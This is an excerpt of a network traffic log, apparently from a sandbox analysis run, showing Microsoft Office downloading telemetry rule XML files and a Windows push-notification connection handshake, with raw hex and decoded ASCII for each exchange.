2024-11-25 17:28:34 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:33 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c48a7b1f-b01e-0053-235d-3fcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-178bfbc474bbcwv4hC1NYCypys00000007q0000000006bw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 17:28:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:33 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5532245b-c01e-00ad-0e6f-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-174c587ffdftjz9shC1TEBsh98000000061g00000000pk8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:34 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 09788b64-001e-0046-6eb7-3eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-178bfbc474bh5zbqhC1NYCkdug00000007t0000000003ye5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-174c587ffdftv9hphC1TEBm29w000000063g00000000pv56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:34 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49758	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:35 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 35 71 34 38 30 62 68 36 6a 6b 71 6c 4a 49 2b 6e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 31 66 64 38 63 65 32 38 66 36 66 36 31 65 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 5q480bh6jkqlJI+n.1Context: 31fd8ce28f6f61eb
2024-11-25 17:28:35 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-25 17:28:35 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 35 71 34 38 30 62 68 36 6a 6b 71 6c 4a 49 2b 6e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 31 66 64 38 63 65 32 38 66 36 66 36 31 65 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 73 57 41 6d 77 42 2b 42 59 38 37 62 74 32 64 4a 4f 68 6a 61 68 4f 70 70 6f 35 34 71 79 33 38 52 37 53 47 55 45 4f 49 66 6a 73 36 4c 41 5a 62 2f 53 50 54 53 36 2b 79 44 54 39 65 45 6e 76 7a 75 6d 30 75 31 54 50 6f 63 6e 73 61 6a 64 46 57 43 4c 77 50 64 6d 35 38 44 42 79 64 72 30 32 4a 55 64 72 43 76 36 66 7a 63 73 33 31 4d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 5q480bh6jkqlJI+n.2Context: 31fd8ce28f6f61eb<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZsWAmwB+BY87bt2dJOhjahOppo54qy38R7SGUEOIfjs6LAZb/SPTS6+yDT9eEnvzum0u1TPocnsajdFWCLwPdm58DBydr02JUdrCv6fzcs31M
2024-11-25 17:28:35 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 35 71 34 38 30 62 68 36 6a 6b 71 6c 4a 49 2b 6e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 31 66 64 38 63 65 32 38 66 36 66 36 31 65 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 5q480bh6jkqlJI+n.3Context: 31fd8ce28f6f61eb<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-25 17:28:36 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-25 17:28:36 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6f 64 4a 6b 46 6e 79 65 56 45 79 2f 6c 35 56 61 38 33 55 69 65 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: odJkFnyeVEy/l5Va83UieA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:36 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 6056d4b9-d01e-002b-71bf-3e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172836Z-178bfbc474b7cbwqhC1NYC8z4n00000007s0000000005y1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:36 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:36 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: c2388785-401e-0048-0e03-3e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172836Z-178bfbc474bv7whqhC1NYC1fg400000007t000000000ckdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:36 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:36 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172836Z-178bfbc474btrnf9hC1NYCb80g00000007ug00000000tdkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:37 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:36 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 414c800a-401e-0035-7cbf-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172836Z-178bfbc474brk967hC1NYCfu6000000007pg00000000205r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172837Z-178bfbc474bbbqrhhC1NYCvw7400000007wg00000000h0t9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
